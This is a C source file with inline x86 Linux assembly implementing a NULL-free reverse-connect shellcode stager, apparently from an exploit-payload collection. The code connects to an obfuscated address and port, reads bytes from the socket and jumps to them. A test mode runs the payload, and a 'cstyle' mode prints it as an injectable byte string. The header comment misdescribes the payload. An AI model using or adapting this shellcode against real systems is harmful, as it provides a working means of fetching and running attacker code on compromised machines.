/*
 * Tries to find a socket based on a client port.
 *
 * Usage
 *
 *    $ ./x86-reversesock 
 *    Usage: ./x86-reversesock [test | cstyle]
 *
 *    To test the payload
 *
 *    shell1$ ./x86-reversesock test
 *    shell2$ perl -e 'print "\xcc"' | nc 127.0.0.1 4444
 *
 *    To generate c-styled shellcode:
 *
 *    $ ./x86-reversesock cstyle
 *
 * Features
 *
 *    * No NULLs
 *
 * Disclaimer
 *
 *    The author cannot be held responsible for how this payload is used.
 *
 * skape
 * mmiller@hick.org
 */
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>

void reversesock_begin();
void reversesock_end();
void reversesock_end_test();

__asm__("
reversesock_begin:
	xor  %ebx, %ebx
reversesock_socket:
	push %ebx
	inc  %ebx
	push %ebx
	push $0x2
	mov  %esp, %ecx
	lea  0x65(%ebx), %eax
	int  $0x80
	pop  %ebx
	mov  %eax, %edx
reversock_connect:
	mov  $0xfffefe81, %eax
	xor  $0xfefefefe, %eax
	push %eax
	mov  $0x4141ffff, %eax
	xor  $0xfefefffd, %eax
	push %eax
	mov  %esp, %eax
	push $0x10
	push %eax
	push %edx
	mov  %esp, %ecx
	inc  %ebx
	lea  0x63(%ebx), %eax
	int  $0x80
reversesock_end:

# read/run single for testing
reversesock_next:	
	pop  %ebx
	cdq
reversesock_read:
	mov  %esp, %ecx
	dec  %dx
	push $0x3
	pop  %eax
	int  $0x80
reversesock_jump:
	jmp  *%ecx

reversesock_end_test:
	
");

int main(int argc, char **argv)
{
	unsigned char *start = (unsigned char *)reversesock_begin;
	unsigned char *stop  = (unsigned char *)reversesock_end;
	unsigned char *copy;
	int length;

	if (argc == 1)
	{
		fprintf(stdout, "Usage: %s [test | cstyle]\n", argv[0]);
		return 0;
	}

	//if (argv[1][0] == 't')
		stop = (unsigned char *)reversesock_end_test;

	length = stop - start;

	if (!(copy = (unsigned char *)malloc(length)))
	{
		printf("allocation failed\n");
		return 0;
	}

	memcpy(copy, start, length);

	if (!strcmp(argv[1], "test"))
	{
		((int (*)())copy)();
	}
	else if (!strcmp(argv[1], "cstyle"))
	{
		int x;

		fprintf(stdout, "// %lu byte reversesock shellcode\n\n", length);
		fprintf(stdout, "unsigned char reversesock[] = \"");

		for (x = 0;
		     x < length;
		     x++)
			fprintf(stdout, "\\x%2.2x", copy[x]);

		fprintf(stdout, "\";\n\n");

		free(copy);
	}
	else
		fprintf(stdout, "%s: invalid option\n", argv[0]);

	return 1;
}

